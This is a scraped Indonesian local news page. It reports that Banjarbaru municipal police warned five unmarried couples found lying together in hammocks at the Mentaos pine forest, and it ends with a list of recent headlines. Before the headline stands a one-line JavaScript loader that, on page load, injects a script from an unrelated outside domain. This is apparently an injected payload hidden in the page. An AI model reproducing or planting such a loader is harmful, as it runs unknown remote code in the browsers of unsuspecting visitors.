(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Muda Mudi Kedapatan Satpol PP Banjarbaru Bermesraan di Wisata Hutan Pinus Mentaos


KANALKALIMANTAN.COM, BANJARBARU – Setelah beberapa kali dilakukan penertiban terhadap pasangan muda mudi di salah satu fasilitas umum, kembali didapati sejumlah pasangan bukan muhrim bermesraan di Wisata Hutan Pinus Mentaos.

Satpol PP Banjarbaru melakukan operasi pencegahan tindak asusila di Wisata Hutan Pinus Mentaos, Kelurahan Mentaos, Kecamatan Banjarbaru Utara, sekitar pukul 15.00 Wita.

Hasilnya petugas mengamankan lima pasangan -bukan suami istri- yang tertangkap sedang rebahan berduaan di dalam ayunan gantung atau hammock single.

Pasangan muda mudi diberi peringatan tidak melakukan perbuatan tercela di Wisata Hutan Pinus Mentaos. Foto : ssatpolppbjb

 

Dari data yang didapat, kelima pasangan tersebut semuanya berdomisili dari luar Kota Banjarbaru, bahkan ada beberapa diantaranya masih berstatus sebagai pelajar.

 

 

Pasangan muda mudi diberi peringatan tidak melakukan perbuatan tercela di Wisata Hutan Pinus Mentaos. Foto : satpolppbjb

Baca juga : Menkominfo Resmikan Merger Indosat Ooredoo dan Tri Indonesia

Mereka oleh petugas Satpol PP Banjarbaru kemudian didata, dilakukan pembinaan serta diberikan pernyataan dengan beberapa poin perjanjian untuk tidak lagi mengulangi perbuatannya.

Oleh petugas Satpol PP kelima pasangan ini diberi peringatan apabila mengulang atau kedapatan kembali oleh petugas maka akan diproses sesuai dengan peraturan yang berlaku. Kelima pasangan muda mudi ini telah menyalahi Perda Nomor 6 Tahun 2014 tentang ketertiban umum dan ketentraman masyarakat.

Selain operasi di Wisata Hutan Pinus Mentaos, petugas juga melakukan pengawasan sterilisasi dan penertiban reklame yang terpasang menyalahi aturan, badut jalanan, serta PKL yang membuka lapak di jalur hijau. Imbauan dan teguran secara persuasif diberikan kepada para pelanggar, agar tidak beraktivitas di jalan utama demi keselamatan bersama.(kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.